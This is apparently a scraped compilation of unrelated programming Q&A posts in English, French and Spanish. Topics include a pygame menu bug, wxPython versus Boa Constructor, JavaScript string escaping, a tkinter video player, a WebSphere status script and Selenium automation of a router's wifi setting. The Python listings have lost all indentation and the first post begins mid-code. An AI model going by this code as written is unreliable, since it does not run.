load_text = menu_font.render('LOAD GAME', 1, (100, 100, 100))
options_text = menu_font.render('OPTIONS', 1, (100, 100, 100))
quit_text = menu_font.render('QUIT', 1, (100, 100, 100))
#blit text
screen.blit(new_text, (340, 425))
screen.blit(load_text, (335, 455))
screen.blit(options_text, (350, 485))
screen.blit(quit_text, (373, 515))
def draw_main_menu_ng(): #draw main menu with new game text in white
screen.fill(BLACK)
new_text = menu_font.render('NEW GAME', 1, (255, 255, 255))
load_text = menu_font.render('LOAD GAME', 1, (100, 100, 100))
options_text = menu_font.render('OPTIONS', 1, (100, 100, 100))
quit_text = menu_font.render('QUIT', 1, (100, 100, 100))
screen.blit(new_text, (340, 425))
screen.blit(load_text, (335, 455))
screen.blit(options_text, (350, 485))
screen.blit(quit_text, (373, 515))
def draw_main_menu_lg(): #draw main menu with load game text in white
screen.fill(BLACK)
new_text = menu_font.render('NEW GAME', 1, (100, 100, 100))
load_text = menu_font.render('LOAD GAME', 1, (255, 255, 255))
options_text = menu_font.render('OPTIONS', 1, (100, 100, 100))
quit_text = menu_font.render('QUIT', 1, (100, 100, 100))
screen.blit(new_text, (340, 425))
screen.blit(load_text, (335, 455))
screen.blit(options_text, (350, 485))
screen.blit(quit_text, (373, 515))
Below, I'm using the variables x and y to check if the mouse is hovering over the buttons. The first set of two numbers is the range of the x coordinate, and the second set of two is the range for the y coordinate.
x,y = pygame.mouse.get_pos()
#set up new game mouse positions
if x >= 340 and x <= 465:
new_game_x_pos = True
if x < 340 or x > 465:
new_game_x_pos = False
if y >= 425 and y <= 445:
new_game_y_pos = True
if y < 425 or y > 445:
new_game_y_pos = False
if new_game_x_pos == True and new_game_y_pos == True:
draw_main_menu_ng()
if new_game_x_pos == False or new_game_y_pos == False:
draw_main_menu()
#set up load game mouse positions
if x >= 335 and x <= 470:
load_game_x_pos = True
if x < 335 or x > 470:
load_game_x_pos = False
if y >= 455 and y <= 475:
load_game_y_pos = True
if y < 455 or y > 475:
load_game_y_pos = False
if load_game_x_pos == True and load_game_y_pos == True:
draw_main_menu_lg()
if load_game_x_pos == False or load_game_y_pos == False:
draw_main_menu()
For some reason, when the mouse is over "NEW GAME" it won't change color. When the mouse is over "LOAD GAME" it will change color. Before I added the load game stuff, it would change color, but now only load game will. Any ideas on why it isn't working?
By the way, I do have code in the game loop that updates the screen. I also have code to set up the font.
|
g_barthe
interface python et apprentissage boa constrictor
Bonjour,
Je voudrais commencer à developper qq applications (avec interfaces graphiques) en python (pour windows et linux). Je recherche donc un éditeur qui permettrait de realiser l'interface de maniere simple et non en code pur. J'ai bien trouvé "wxglade" mais la lib wx n'a pas l'air d'etre présente de base avec python sur tous les environnements. (je peux me tromper) mais sous windows apparement je ne l'ai pas.
Il y a la librairie tk qui a l'air d'être prise en compte de manière générale mais la les éditeurs que j'ai trouvé"vtcl" n'arrive pas a se decompresser sous windows et comme je suis amené a developper sous ubuntu et windows je voudrais etre sur une librairie qui soit intégrée facilement à mon environnement de prog.
Y a t'il un avantage d'une librairie par rapport a l'autre ?
merci à vous et j'espère que j'ai été clair.
Dernière modification par g_barthe (Le 02/05/2006, à 18:18)
Mon forum perso sur le génie climatique http://le-genie-climatique.positifforum.com/
Le forum des travaux manuels : http://pausebroderie.fr/
Hors ligne
PierreR
Re : interface python et apprentissage boa constrictor
Pour TKinter, il y a peut être COBRA, mais je ne l'ai jamais utilisé.
Sinon, tu dois pouvoir utiliser GTK avec glade. GTK est le toolkit graphique utilisé par Gnome et il existe sous ubuntu et windows (mais pas mac OS). Il est plus complexe -- dans le sens offre plus de fonctionnalités -- que TKinter mais tout dépend de ce que tu veux faire -- GTK n'est pas installé par défaut sous windows par exemple (mais python non plus donc bon).
Hors ligne
g_barthe
Re : interface python et apprentissage boa constrictor
bonjour
j'ai reussi a faire fonctionner qq scripts python sous ubuntu avec la lib wx. Mais j'ai installé vtcl depuis synaptic d'ubuntu en gros c'est glade pour me facilité la tâche de création de l'interface mais il exporte le code source uniquement en C et pas python. La vie d'un nouveau pythonien n'est pas facile tous les jours. Je crois que je vais rester à la création manuelle de l'interface et non pas graphique car je n'arrive pas a comprendre le fonctionnement de vtcl et je ne trouve pas de tuto sur le net.
Je cherche à faire une application un peu scientifique avec qq calculs pour mon boulot en génie climatique (calculs de clim, chauffage, ventilation). En gros ce sera des boutons de validation, zone de saisie...
Merci à vous
Mon forum perso sur le génie climatique http://le-genie-climatique.positifforum.com/
Le forum des travaux manuels : http://pausebroderie.fr/
Hors ligne
bipede
Re : interface python et apprentissage boa constrictor
Si tu veux tester un bon rad pour python et wxPython, essaies boa-constructor.
C'est le meilleur à l'heure actuelle. Et il est dans les dépôts...
Hors ligne
aleph
Re : interface python et apprentissage boa constrictor
Je peux que recommander d'écrire son code dans un éditeur. Les avantages sont si nombreux.
Pour un bon début : http://wiki.wxpython.org/
PierreR
Re : interface python et apprentissage boa constrictor
Oui, mais là on parlait de l'interface graphique et à écrire à la main c'est vraiment prise de tête quand le truc devient un peu gros.
Désolé de m'être trompé plus haut, je voulais effectivement parler de boa (et pas cobra). Sinon pour glade, il ne faut pas générer le code -- même en C c'est déconseillé et plus supporté depuis un moment -- mais utiliser libglade qui a je crois un wrapper python.
Hors ligne
aleph
Re : interface python et apprentissage boa constrictor
@PierreR
Oui, mais là on parlait de l'interface graphique et à écrire à la main c'est vraiment prise de tête quand le truc devient un peu gros.
---
Pas du tout, c'est justement l'inverse qui se produit. Quelle est ton expérience? Sur quoi te bases-tu ? Argumentes !
Etant intimement lié à wxPython, je peux te dire que cette question a été posée des dizaines et des dizaines de fois sur la liste des wxPython users (et revient régulièrement). C'est toujours la même réponse qui revient. La même que celle que j'ai donné.
PS: ...mais là on parlait de l'interface graphique... wxPython ne s'occupe que de l'interface graphique.
PierreR
Re : interface python et apprentissage boa constrictor
Heu, il y du y avoir un quiproquo, je voulais dire que quand on fait une interface graphique, à partir du moment ou le truc devient un peu gros (i.e. s'il y a plus d'un champ de texte et deux boutons) c'est très appréciable de disposer d'une interface graphique comme Glade.
Pour répondre à ta question, je dois avouer que je n'ai jamais utilisé wxwidgets (que ce soit en python ou en C++). Quand je faisais du python, je me contentais de Tkinter et c'est vrai que j'écrivais tout à la main et que je suis encore vivant.
Mais un des avantages que je vois aux éditeurs graphiques et de limiter à 0 u presque le risque de mélanger dans le code ce qui a trait à l'interface graphique et le reste rendant très facile un redesign complet de la dite interface même par quelqu'un qui n'aurai jamais touché une ligne de code. Je pensais au début que ce genre d'outils n'était qu'un "truc de feignant" promesse d'interfaces graphiques déguelasses. mais j'ai récemment participé à un projet qui utilise libglade (en C, je ne sais pas ce que ça donne en python mais ça doit être au moins aussi facile d'utilisation) et j'ai pu faire des changements très profond dans l'interface graphique en seulement quelques heures (et quelques centaines de clics et seulement une grosse dizaine de lignes de codes modifiées).
Hors ligne
aleph
Re : interface python et apprentissage boa constrictor
PierreR
Bon si tu le dis.
Quand je remanie complètement une interface graphique contenant disons 10 - 50 contrôles, il me faut tout au plus 10 minutes et à peu près zéro clics de souris et le code application - partie calcul - n'est pas mélangé avec celui de l'interface graphique.
Ajouter deux paires - texte et texte d'entrée - à une fenêtre de dialogue qui en contient déjà 10, dois bien prendre 2 bonnes minutes.
Chacun sa méthode. Je dois dire que j'utilise des "sizers".
PierreR
Re : interface python et apprentissage boa constrictor
Effectivement, les gouts et les couleurs !
Mais je suis d'accord que pour quelqu'un de soigneux -- contrairement à moi -- tout écrire à la main est tout aussi jouable et présente certains avantages. Personellement, j'apprécie particulièrement quand j'utilise glade de voir en direct le résultat, de pouvoir tester le redimensionnement, etc sans avoir à recompiler quoi que ce soit -- en C ou C++, effectivement, la question ne se pose pas avec Python -- et donc sans attendre.
Mais je reconnais effectivement que c'est plus un gout et un avis personnel que quelque chose d'indiscutable, dans le même genre, je n'ai jamais été un grand fan des traitements de texte wysywyg comme openoffice -- je préfère LaTeX ou des éditeurs de page web du même genre alors qu'en fait pour qulqu'un de soigneux ce sont sûrement des outils qui permettent d'arriver aux même résultat avec peut être moins d'effort.
Hors ligne
aleph
Re : interface python et apprentissage boa constrictor
PierreR
Ta remarque concernant Python est très judicieuse. En effet, Python étant interprété, il me suffit d'un F5 (run script) dans mon éditeur pour voir le résultat.
J'apprécie aussi ta remarque à propos de LaTeX. Je suis du même avis, mais n'avait pas osé mettre le sujet sur la table (analogie).
Un point que j'affectionne particulièrement quand on travail à la main: la possibilité de créer aisément un classe dérivée d'un classe de base. C'est quelque chose que je fais très souvent et que je vois chez beaucoup de personnes avec qui j'échange du code. Par exemple: un contrôle d'entrée de texte qui n'accepte que les lettres minuscules ou un nombre.
Une petite question. Quand tu parles de "tester le redimensionnement". Cela signifierait-t-il que tu places les contrôles en définissant leurs positions en "pixels" ?
aleph
Re : interface python et apprentissage boa constrictor
Honte de mon orthographe...
PierreR
Re : interface python et apprentissage boa constrictor
On est quitte, je vois que j'ai fait une quantité de fautes de frappe proprement hallucinante.
Pour l'orienté objet, j'avoue qu'en C je n'ai pas encore vraiment pris l'habitude et en C++ je n'ai jamais fait de grosses interfaces graphiques mais j'entend bien l'argument. Notons toutefois qu'il y a toujours la possibilité de faire cela en laissant un "trou" avec l'interface graphique qu'on remplit ensuite à la main -- il y a même un "widget" special pour ça dans glade je crois.
Pour la dernière question, non je ne place jamais les widgets avec des positions absolues, je voulais dire vérifier que j'ai bien choisies les propriétés d'expansion des widgets de ma fenêtre et que c'est bien la vue arborescente et pas le bouton fermer qui occupe toute la place quand on l'agrandit par exemple -- mais ceci est peut être simplement du à mon inexpérience de GTK.
Hors ligne
aleph
Re : interface python et apprentissage boa constrictor
PierreR
Merci.
g_barthe
Re : interface python et apprentissage boa constrictor
Bonjour,
J'ai installé boa constrictor sur windows au bureau tout va bien et sur ma machine ubuntu breezy chez moi. Jusque la tout va bien. petit bémol sur Ubuntu ou les éléments de l'interface sont tronqués même en etendant les fenetres mais bon passons.
J'ai testé un exemple trouvé sur le net sous windows et ca fonctionne mais sous linux non. Alors la je me pose des questions sur la portabilité. Doit-on faire qqch de précis. Je joins le code :
fichier Frame1.py :
#Boa:Frame:Frame1
import wx
def create(parent):
return Frame1(parent)
[wxID_FRAME1, wxID_FRAME1STATUSBAR1,
] = [wx.NewId() for _init_ctrls in range(2)]
[wxID_FRAME1MENUFILEITEMS0, wxID_FRAME1MENUFILEITEMS1,
wxID_FRAME1MENUFILEITEMS2, wxID_FRAME1MENUFILEITEMS3,
wxID_FRAME1MENUFILEITEMS4,
] = [wx.NewId() for _init_coll_menuFile_Items in range(5)]
[wxID_FRAME1MENUHELPABOUT] = [wx.NewId() for _init_coll_menuHelp_Items in range(1)]
class Frame1(wx.Frame):
def _init_coll_menuBar1_Menus(self, parent):
# generated method, don't edit
parent.Append(menu=self.menuFile, title='File')
parent.Append(menu=self.menuHelp, title='Help')
def _init_coll_menuHelp_Items(self, parent):
# generated method, don't edit
parent.Append(help='Display general information about Notebook',
id=wxID_FRAME1MENUHELPABOUT, kind=wx.ITEM_NORMAL, text='About')
self.Bind(wx.EVT_MENU, self.OnMenuHelpAboutMenu,
id=wxID_FRAME1MENUHELPABOUT)
def _init_coll_menuFile_Items(self, parent):
# generated method, don't edit
parent.Append(help='', id=wxID_FRAME1MENUFILEITEMS0,
kind=wx.ITEM_NORMAL, text='Open')
parent.Append(help='', id=wxID_FRAME1MENUFILEITEMS1,
kind=wx.ITEM_NORMAL, text='Save')
parent.Append(help='', id=wxID_FRAME1MENUFILEITEMS2,
kind=wx.ITEM_NORMAL, text='Save As')
parent.Append(help='', id=wxID_FRAME1MENUFILEITEMS3,
kind=wx.ITEM_NORMAL, text='Close')
parent.Append(help='', id=wxID_FRAME1MENUFILEITEMS4,
kind=wx.ITEM_NORMAL, text='Exit')
self.Bind(wx.EVT_MENU, self.OnMenuFileItems0Menu,
id=wxID_FRAME1MENUFILEITEMS0)
self.Bind(wx.EVT_MENU, self.OnMenuFileItems1Menu,
id=wxID_FRAME1MENUFILEITEMS1)
self.Bind(wx.EVT_MENU, self.OnMenuFileItems2Menu,
id=wxID_FRAME1MENUFILEITEMS2)
self.Bind(wx.EVT_MENU, self.OnMenuFileItems3Menu,
id=wxID_FRAME1MENUFILEITEMS3)
self.Bind(wx.EVT_MENU, self.OnMenuFileItems4Menu,
id=wxID_FRAME1MENUFILEITEMS4)
def _init_coll_statusBar1_Fields(self, parent):
# generated method, don't edit
parent.SetFieldsCount(1)
parent.SetStatusText(number=0, text='Status')
parent.SetStatusWidths([-1])
def _init_utils(self):
# generated method, don't edit
self.menuFile = wx.Menu(title='')
self.menuHelp = wx.Menu(title='')
self.menuBar1 = wx.MenuBar()
self._init_coll_menuFile_Items(self.menuFile)
self._init_coll_menuHelp_Items(self.menuHelp)
self._init_coll_menuBar1_Menus(self.menuBar1)
def _init_ctrls(self, prnt):
# generated method, don't edit
wx.Frame.__init__(self, id=wxID_FRAME1, name='', parent=prnt,
pos=wx.Point(466, 359), size=wx.Size(400, 250),
style=wx.DEFAULT_FRAME_STYLE, title='G\xe9nie climatique')
self._init_utils()
self.SetClientSize(wx.Size(392, 216))
self.SetMenuBar(self.menuBar1)
self.statusBar1 = wx.StatusBar(id=wxID_FRAME1STATUSBAR1,
name='statusBar1', parent=self, style=0)
self._init_coll_statusBar1_Fields(self.statusBar1)
self.SetStatusBar(self.statusBar1)
def __init__(self, parent):
self._init_ctrls(parent)
def OnMenuFileItems0Menu(self, event):
event.Skip()
def OnMenuFileItems1Menu(self, event):
event.Skip()
def OnMenuFileItems2Menu(self, event):
event.Skip()
def OnMenuFileItems3Menu(self, event):
event.Skip()
def OnMenuFileItems4Menu(self, event):
event.Skip()
def OnMenuHelpAboutMenu(self, event):
event.Skip()
fichier App1.py :
#Boa:App:BoaApp
import wx
import Frame1
modules ={'Frame1': [1, 'Main frame of Application', 'Frame1.py']}
class BoaApp(wx.App):
def OnInit(self):
wx.InitAllImageHandlers()
self.main = Frame1.create(None)
self.main.Show()
self.SetTopWindow(self.main)
return True
def main():
application = BoaApp(0)
application.MainLoop()
if __name__ == '__main__':
main()
Mon forum perso sur le génie climatique http://le-genie-climatique.positifforum.com/
Le forum des travaux manuels : http://pausebroderie.fr/
Hors ligne
bipede
Re : interface python et apprentissage boa constrictor
C'est un problème de codage de caractères :
si tu changes ta ligne :
style=wx.DEFAULT_FRAME_STYLE, title='G\xe9nie climatique')
dans Frame1.py par :
style=wx.DEFAULT_FRAME_STYLE, title='Génie climatique')
Et que tu ajoutes la ligne :
#-*- coding: utf8 -*-
En première ligne de tes deux scripts, ça va marcher...
Hors ligne
aleph
Re : interface python et apprentissage boa constrictor
Boa ou les dix doigts ?
La même application écrite à la main. Pour moi, il n'y a pas photo quant à la clarté du code.
Sans compter les imperfections (erreur) dans le code généré par boa.
# -*- coding: iso-8859-1 -*-
#--------------------------------------------------------------------
# Name: simple.py
# Purpose: Small demo
# Author: Jean-Michel Fauth, Switzerland
# Copyright:
# Licence: None, free software
#--------------------------------------------------------------------
# os dev: w2k sp4
# py dev: Python 2.4.2
# wx dev: wxPython 2.6.3.2
# Revision: 2 May 2006
#--------------------------------------------------------------------
import wx
class MyPanel(wx.Panel):
def __init__(self, parent, id):
wx.Panel.__init__(self, parent, id, wx.DefaultPosition, wx.DefaultSize)
class MyFrame(wx.Frame):
def __init__(self, parent, id, title):
wx.Frame.__init__(self, parent, id, title, wx.DefaultPosition, (300, 200))
self.CentreOnScreen()
# menus
menu1 = wx.Menu()
menu101 = menu1.Append(101, '&Open...\tCtrl+o', 'Ouvre un fichier')
menu103 = menu1.Append(102, '&Save as...\tCtrl+s', 'Enregistre un fichier sous')
menu102 = menu1.Append(103, 'Save\tCtrl+s', 'Enregistre le fichier courant')
menu104 = menu1.Append(104, '&Close')
menu105 = menu1.Append(105, '&Exit', 'Quitte cette application')
menu2 = wx.Menu()
menu201 = menu2.Append(201, '&About...', 'A propos')
menuBar = wx.MenuBar()
menuBar.Append(menu1, '&File')
menuBar.Append(menu2, '&Help')
self.SetMenuBar(menuBar)
# statusbar
sb = wx.StatusBar(self, wx.NewId())
self.SetStatusBar(sb)
self.Bind(wx.EVT_MENU, self.OnMenu101, menu101)
self.Bind(wx.EVT_MENU, self.OnMenu102, menu102)
self.Bind(wx.EVT_MENU, self.OnMenu103, menu103)
self.Bind(wx.EVT_MENU, self.OnMenu104, menu104)
self.Bind(wx.EVT_MENU, self.OnMenu105, menu105)
self.Bind(wx.EVT_MENU, self.OnMenu201, menu201)
# panel contenant les widgets
self.pa = MyPanel(self, wx.NewId())
self.Bind(wx.EVT_CLOSE, self.OnCloseWindow)
def OnMenu101(self, event):
print 'Menu101'
def OnMenu102(self, event):
print 'Menu102'
def OnMenu103(self, event):
print 'Menu103'
def OnMenu104(self, event):
print 'Menu104'
def OnMenu105(self, event):
print 'Menu105'
self.OnCloseWindow(None)
def OnMenu201(self, event):
print 'Menu201'
def OnCloseWindow(self, event):
self.Destroy()
class MyApp(wx.App):
def OnInit(self):
frame = MyFrame(None, -1, 'Génie climatique')
frame.Show(True)
self.SetTopWindow(frame)
return True
def main():
app = MyApp(False)
app.MainLoop()
if __name__ == '__main__':
main()
#eof
bipede
Re : interface python et apprentissage boa constrictor
Boa ou les dix doigts ?
La même application écrite à la main. Pour moi, il n'y a pas photo quant à la clarté du code.
Sans compter les imperfections (erreur) dans le code généré par boa.
Tu prêches un convaincu
Mais notre ami veut utiliser un RAD.
Quant au code généré par Boa, il n'est pas si sale que cela, et je trouve que l'objet y est bien utilisé...
Hors ligne
aleph
Re : interface python et apprentissage boa constrictor
bipede :
Quant au code généré par Boa, il n'est pas si sale que cela, et je trouve que l'objet y est bien utilisé...
---
Il est même très propre, c'est à dire bien conçu. Ce que je veux montrer ici est que l'utilisation d'un IDE n'est pas la panacée.
Le code généré par Boa doit faire deux choses:
- écrire le code de l'application.
- écrire le code de façon à ce que Boa puisque le récupérer et l'éditer à nouveau. D'où une certaine lourdeur. Une structure de code qui ne correspond pas à ce que l'application est censée faire, mais une structure qui est plus conforme à Boa.
Quelques autres commentaires en vrac :
- wx.InitAllImageHandlers() n'est par nécessaire, cette tâche est effectuée en interne par OnInit(), voir wxPython doc. Cette tâche est exécutée deux fois !
- event.Skip() dans les menus est inutile. Un "pass" eut été suffisant. A quoi bon surcharger, la queue des événements. Il faut bien que Boa mette quelque chose.
- Boa ne génère pas l'événement OnCloseWindow(), très important dans la pratique. Cette partie du code doit de toute façon est rajoutée à la main.
- Mon code avait des doc strings dans le function (triple double quoted strings). Il semblerait que ces doc strings se soient perdus en route !
Ma conclusion :
On en arrive à cette absurdité où seuls les personnes sachant développer à la main sont à même de comprendre correctement le code généré par Boa.
Ceci est vrai pour tous les IDEs.
Je ne peux que recommander une visite chez wxPython.org et télécharger la demo.
aleph
Re : interface python et apprentissage boa constrictor
Petite remarque annexe:
L'IDE ne se nomme pas Boa constrictor, mais Boa constructor. En espérant que vous ayez compris la subtilité du nom.
g_barthe
Re : interface python et apprentissage boa constrictor
Je vous remercie tous pour ces différentes remarques et je sais très bien que les IDE ne sont pas une solution très propre. Moi même pour du HTML je fais tout à la main, je gère mieux ce que je fais je trouve. Mais la n'y connaissant rien à python je voulais déjà créer un joli interface graphique de manière rapide sans trop avoir à comprendre la construction ce que je ferais pour le coeur du programme bien sur. Par la suite oui je redécortiquerais la partie interface pour la recoder de manière simple sans boa.
Mon forum perso sur le génie climatique http://le-genie-climatique.positifforum.com/
Le forum des travaux manuels : http://pausebroderie.fr/
Hors ligne
aleph
Re : interface python et apprentissage boa constrictor
Permets moi d'insister. Est-ce que tu as la demo de wxPython ?
Tous les widgets expliqués, le code pour chaque widget, modification et essai, tout ceci interactivement...sans jamais quitter l'application.
g_barthe
Re : interface python et apprentissage boa constrictor
je viens de le télécharger et effectivement je connaissais pas et ca m'a l'air très instructif et très bien fait. Je vais me pencher ( pas top qd meme) bon c nul, sur cette doc et continuer mon apprentissage et je vous tiendrais au courant de l'evolution.
Merci de votre aide.
Mon forum perso sur le génie climatique http://le-genie-climatique.positifforum.com/
Le forum des travaux manuels : http://pausebroderie.fr/
Hors ligne
aleph
Re : interface python et apprentissage boa constrictor
Enfin ! Si j'ose dire. Comme cela fait bientôt 5 ans que je contribue assez fidèlement au projet wxPython, cela me fait plaisir. Je suis sous win, tu me pardonneras.
Bonne continuation.
bipede
Re : interface python et apprentissage boa constrictor
- wx.InitAllImageHandlers() n'est par nécessaire, cette tâche est effectuée en interne par OnInit(), voir wxPython doc. Cette tâche est exécutée deux fois !
Même si sur le reste je suis complètement d'accord avec toi, sur ce point précis non. L'initialisation des handlers d'images n'est pas automatique, et on doit l'ajouter à la méthode OnInit() de la classe wx.App si on veut que tous les formats d'images soient reconnus (j'ai expérimenté).
Je suis content de rencontrer un contributeur au projet wxpython dont je suis un adepte forcené .
Il est dommage que tu ne travailles que sur windows, car j'ai pu constater des différences de comportement de certains wxWidgets entre les deux OS que je n'ai jamais pu m'expliquer.
Hors ligne
|
Sorry for the lousy summary.
this code:
thumbContent = thumbContent + '<a href="javascript:viewPic('+ contact[i].ThumbnailUrl + ', ' + contact[i].Name + ', ' + contact[i].Description+ ')" ><img src="'+contact[i].ThumbnailUrl+'" border="0" width="134" height="78" /></a>';
outputs this:
<a href="javascript:viewTruck(http://server.com/deliveredImage/Thumbnail/476, Aerts Jan, Aerts Jan)"><img src="http://server.com/delivered/Image/Thumbnail/476" border="0" width="134" height="78"></a>
But I want this for the javascript request to work:
<a href="javascript:viewTruck("http://server.com/deliveredImage/Thumbnail/476", "Aerts Jan", "Aerts Jan")"><img src="http://server.com/delivered/Image/Thumbnail/476" border="0" width="134" height="78"></a>
Send the data as strings.
Can Anyone help me, brains not working.
Thank you.
Hah yes, mixing quotes can be painful. You'll probably want to use double quotes in the function call so you'll have to escape the single quotes around the attributes.
e.g.
thumbContent = thumbContent + '<a href=\\'javascript:viewPic("'+ contact[i].ThumbnailUrl + '", "' + contact[i].Name + '", "' + contact[i].Description+ '")\\' ><img src="'+contact[i].ThumbnailUrl+'" border="0" width="134" height="78" /></a>';
Thank you very much, and sorry for my late reply.
|
The script below opens a video file and displays it in a tkinter label. The frame acquisition is made in another process.
My problem is that my quit_() function will succeed in closing the full script when calling it after a video was loaded (the python interpreter is then idle), but destroys the root window and leaves the program running if I try to quit before loading a video (the python interpreter is then pending, and I have to kill it manually). The loadswitchvariable is a tkinter BooleanVar that detects the loading of a video, and causes the script to wait for its value to change before entering the main loop.
It appears to me that the problem would be that the fact of not having a filepath as argument causes some kind of exception in image_capture() resulting in the quit problem. However, no exception is raised on script execution.
Any idea as to how I would get the full script to terminate on quit_() before video loading would be greatly appreciated!
My script:
#!/usr/bin/python
import numpy as np
from multiprocessing import Process, Queue, Pipe
from Queue import Empty
import cv2
import cv2.cv as cv
from PIL import Image, ImageTk
import time
import Tkinter as tk
import tkMessageBox
import tkFileDialog
#tkinter GUI functions----------------------------------------------------------
def quit_(root, process):
if tkMessageBox.askokcancel(message='Are you sure you want to quit?', icon='question', title='Quit'):
process.terminate()
root.destroy()
def load_win(root, loadswitch, con):
#create child window when 'load video' button is clicked
win = tk.Toplevel()
win.resizable(False, False)
#displays message, radiobuttons to choose data type, and gets the absolute file path if file
tk.Label(win, text='Please choose video data type:').grid(column=0, row=0)
videotype = tk.StringVar()
videostream = tk.Radiobutton(win, text='Video live stream', variable=videotype, value='videostream').grid(column=0, row=1)
videofile = tk.Radiobutton(win, text='Video file', variable=videotype, value='videofile').grid(column=0, row=2)
def load_video(root, win, videotype):
if videotype.get()=='videostream':
win.destroy()
#loadswitch.set(True) #line to activate when stream capture code implemented
elif videotype.get()=='videofile':
filepath = tkFileDialog.askopenfilename()
win.destroy()
if filepath:
loadswitch.set(True)
con.send(filepath)
else:
pass
tk.Button(win, text='OK', command=lambda: load_video(root, win, videotype)).grid(column=0, row=3)
root.wait_window(win)
def update_image(image_label, queue, waitframe,root,process):
if queue.get()==None:
quit_(root,process)
else:
frame = queue.get()
im = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
a = Image.fromarray(im)
b = ImageTk.PhotoImage(image=a)
image_label.configure(image=b)
image_label._image_cache = b # avoid garbage collection
root.update()
time.sleep(waitframe)
def update_all(root, image_label, queue,waitframe,process):
update_image(image_label, queue, waitframe,root,process)
root.after(0, func=lambda: update_all(root, image_label, queue,waitframe,process))
#multiprocessing image processing functions-------------------------------------
def image_capture(queue,con):
videopath = con.recv()
vidFile = cv2.VideoCapture(videopath)#pour mettre la web cam, changer pour 0 et commenter les ligne passant fps et waitframe
fps = vidFile.get(cv2.cv.CV_CAP_PROP_FPS)
waitframe = 1/fps
con.send(waitframe)#sending waitkey duration through pipe to update_image()
while True:
try:
flag, frame=vidFile.read()
if flag==0:
queue.put(None)
break
else:
#image processing code goes here
queue.put(frame)
cv2.waitKey(10)
except:
continue
if __name__ == '__main__':
#initialize multiprocessing
queue = Queue()
pcon, ccon = Pipe()
#start video procesing
p = Process(target=image_capture, args=(queue,ccon))
p.start()
#GUI of root window (les menus arretent la video, car ils occupent le processus...)
root = tk.Tk()
root.protocol("WM_DELETE_WINDOW", root.iconify)
root.title('FlowMap 0.1')
root.resizable(False, False)
image_label = tk.Label(master=root)# label for the video frame
image_label.grid(column=0, row=0, columnspan=2, rowspan=1)
#fill label with image until video is loaded
bg_im = ImageTk.PhotoImage(file='logo.png')
image_label['image'] = bg_im
# quit button
quit_button = tk.Button(master=root, text='Quit',command=lambda: quit_(root,p))
quit_button.grid(column=1, row=1)
#load video button and a switch to wait for the videopath to be chosen
loadswitch = tk.BooleanVar(master=root, value=False, name='loadswitch')
load_button = tk.Button(master=root, text='Load video',command=lambda: load_win(root, loadswitch, pcon))
load_button.grid(column=0, row=1)
#print an 'about' window
tkMessageBox.showinfo(message="FlowMap 0.1, (c) Raoul SCHORER 2013")
#wait for input to begin processing
root.wait_variable(loadswitch)
waitframe = pcon.recv()
print 'waitframe is: '+ str(waitframe)
# setup the update callback
root.after(0, func=lambda: update_all(root, image_label, queue, waitframe,p))
#exit program
root.mainloop()
print 'mainloop exit'
p.terminate()
print 'image capture process exit'
|
Possible Duplicate:
Running shell command from python and capturing the output
I want to capture the output of a command into a variable, so later that variable can be used again. I need to change this script so it does that:
#!/usr/bin/python
import os
command = raw_input("Enter command: ")
os.system(command)
If I enter "ls" when I run this script, I get this output:
Documents Downloads Music Pictures Public Templates Videos
I want to capture that string (the output of the ls command) into a variable so I can use it again later. How do I do this?
|
In order to accurately determine whether the application is partially started/stopped, you must first determine the deployment targets against which the application is deployed, and then determine whether or not the application is running on that server:
def isApplicationRunning(applicationName, serverName, nodeName) :
return AdminControl.completeObjectName("type=Application,name=%s,process=%s,node=%s,*" % (applicationName, serverName, nodeName)) != ""
def printApplicationStatus(applicationName) :
servers = started = 0
targets = AdminApplication.getAppDeploymentTarget(applicationName)
for target in targets :
type = AdminConfig.getObjectType(target)
if (type == "ClusteredTarget") :
clusterName = AdminConfig.showAttribute(target, "name")
members = AdminUtilities.convertToList(AdminConfig.getid("/ServerCluster:%s/ClusterMember:/" % clusterName))
for member in members :
serverName = AdminConfig.showAttribute(target, "name")
nodeName = AdminConfig.showAttribute(member, "nodeName")
started += isApplicationRunning(applicationName, serverName, nodeName)
servers += 1
elif (type == "ServerTarget") :
serverName = AdminConfig.showAttribute(target, "name")
nodeName = AdminConfig.showAttribute(target, "nodeName")
started += isApplicationRunning(applicationName, serverName, nodeName)
servers += 1
if (started == 0) :
print "The application [%s] is NOT RUNNING." % applicationName
elif (started != servers) :
print "The application [%s] is PARTIALLY RUNNING." % applicationName
else :
print "The application [%s] is RUNNING." % applicationName
if (__name__ == "__main__"):
printApplicationStatus(sys.argv[0]);
Note that the AdminApplication script library only exists for WAS 7+, so if you are running an older version, you will need to obtain the deployment targets yourself.
|
Selenium offers a firefox plugin that lets you record manual interactions with your browser. And then you can export the steps to python, ruby, java or c#. It worked for me to programmatically adjust my router settings to turn off wifi. Clicking on the elements while recording identifies everything you need.
This code works on an Actiontec MI424WR (FIOS)
Edit the code to add your username, password, and router address.
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import Select
from selenium.common.exceptions import NoSuchElementException
from selenium.common.exceptions import NoAlertPresentException
import unittest, time, re
class Routr(unittest.TestCase):
def setUp(self):
self.driver = webdriver.Firefox()
self.driver.implicitly_wait(30)
self.base_url = "http://routerip_or_address"
self.verificationErrors = []
self.accept_next_alert = True
def test_routr(self):
driver = self.driver
driver.get(self.base_url + "/")
driver.find_element_by_name("user_name").clear()
driver.find_element_by_name("user_name").send_keys("your_username")
driver.find_element_by_id("pass2").clear()
driver.find_element_by_id("pass2").send_keys("enter_your_password_here")
driver.find_element_by_link_text("OK").click()
driver.find_element_by_link_text("Change Wireless Settings").click()
driver.find_element_by_id("ws_off").click()
driver.find_element_by_link_text("Apply").click()
def is_element_present(self, how, what):
try: self.driver.find_element(by=how, value=what)
except NoSuchElementException, e: return False
return True
def is_alert_present(self):
try: self.driver.switch_to_alert()
except NoAlertPresentException, e: return False
return True
def close_alert_and_get_its_text(self):
try:
alert = self.driver.switch_to_alert()
alert_text = alert.text
if self.accept_next_alert:
alert.accept()
else:
alert.dismiss()
return alert_text
finally: self.accept_next_alert = True
def tearDown(self):
self.driver.quit()
self.assertEqual([], self.verificationErrors)
if __name__ == "__main__":
unittest.main()
|
Cuando programamos cualquier tipo de aplicación, es común la necesidad de almacenar estados o valores de tipo boleano para nuestras estructuras de datos. Si por ejemplo programamos en C99 podemos hacer uso del tipo _Bool que ocupa un byte de longitud, también ocupa un byte el tipo bool de C++.
